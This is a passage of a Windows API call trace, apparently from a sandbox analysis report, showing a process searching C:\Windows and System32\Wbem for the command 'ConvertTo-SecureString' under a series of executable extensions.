nFileSizeLow=0x6000)) returned 1 [0121.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.747] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.747] GetFullPathNameW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.COM", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\ConvertTo-SecureString.COM", lpFilePart=0x0) returned 0x25 [0121.747] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.COM", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.COM", lpFilePart=0x0) returned 0x38 [0121.747] FindFirstFileW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.COM", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.747] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.747] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0121.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.748] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.748] GetFullPathNameW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.EXE", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\ConvertTo-SecureString.EXE", lpFilePart=0x0) returned 0x25 [0121.748] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.EXE", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.EXE", lpFilePart=0x0) returned 0x38 [0121.748] FindFirstFileW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.EXE", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.748] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.748] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0121.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.748] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.748] GetFullPathNameW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.BAT", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\ConvertTo-SecureString.BAT", lpFilePart=0x0) returned 0x25 [0121.748] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.BAT", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.BAT", lpFilePart=0x0) returned 0x38 [0121.748] FindFirstFileW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.BAT", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.749] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.749] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0121.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.749] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.749] GetFullPathNameW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.CMD", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\ConvertTo-SecureString.CMD", lpFilePart=0x0) returned 0x25 [0121.749] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.CMD", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.CMD", lpFilePart=0x0) returned 0x38 [0121.749] FindFirstFileW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.CMD", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.749] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.749] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0121.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.749] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.749] GetFullPathNameW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.VBS", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\ConvertTo-SecureString.VBS", lpFilePart=0x0) returned 0x25 [0121.750] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.VBS", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.VBS", lpFilePart=0x0) returned 0x38 [0121.750] FindFirstFileW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.VBS", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.750] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.750] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0121.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.750] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.750] GetFullPathNameW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.VBE", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\ConvertTo-SecureString.VBE", lpFilePart=0x0) returned 0x25 [0121.750] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.VBE", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.VBE", lpFilePart=0x0) returned 0x38 [0121.750] FindFirstFileW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.VBE", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.750] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.751] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0121.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.751] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.751] GetFullPathNameW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.JS", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\ConvertTo-SecureString.JS", lpFilePart=0x0) returned 0x24 [0121.751] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.JS", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.JS", lpFilePart=0x0) returned 0x37 [0121.751] FindFirstFileW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.JS", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.751] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.751] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0121.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.751] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.751] GetFullPathNameW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.JSE", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\ConvertTo-SecureString.JSE", lpFilePart=0x0) returned 0x25 [0121.751] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.JSE", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.JSE", lpFilePart=0x0) returned 0x38 [0121.751] FindFirstFileW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.JSE", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.752] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.752] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0121.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.752] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.752] GetFullPathNameW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.WSF", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\ConvertTo-SecureString.WSF", lpFilePart=0x0) returned 0x25 [0121.752] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.WSF", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.WSF", lpFilePart=0x0) returned 0x38 [0121.752] FindFirstFileW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.WSF", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.752] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.752] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0121.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.752] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.752] GetFullPathNameW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.WSH", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\ConvertTo-SecureString.WSH", lpFilePart=0x0) returned 0x25 [0121.753] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.WSH", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.WSH", lpFilePart=0x0) returned 0x38 [0121.753] FindFirstFileW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.WSH", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.753] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.753] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0121.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.753] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.753] GetFullPathNameW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.MSC", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\ConvertTo-SecureString.MSC", lpFilePart=0x0) returned 0x25 [0121.753] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.MSC", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.MSC", lpFilePart=0x0) returned 0x38 [0121.753] FindFirstFileW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.MSC", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.753] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.753] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0121.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.754] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.754] GetFullPathNameW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.CPL", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\ConvertTo-SecureString.CPL", lpFilePart=0x0) returned 0x25 [0121.754] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.CPL", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.CPL", lpFilePart=0x0) returned 0x38 [0121.754] FindFirstFileW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.CPL", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.754] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.754] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0121.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.754] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.755] GetFullPathNameW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\ConvertTo-SecureString", lpFilePart=0x0) returned 0x21 [0121.755] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString", lpFilePart=0x0) returned 0x34 [0121.755] FindFirstFileW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.755] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.755] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0121.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.755] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.755] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.ps1", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.ps1", 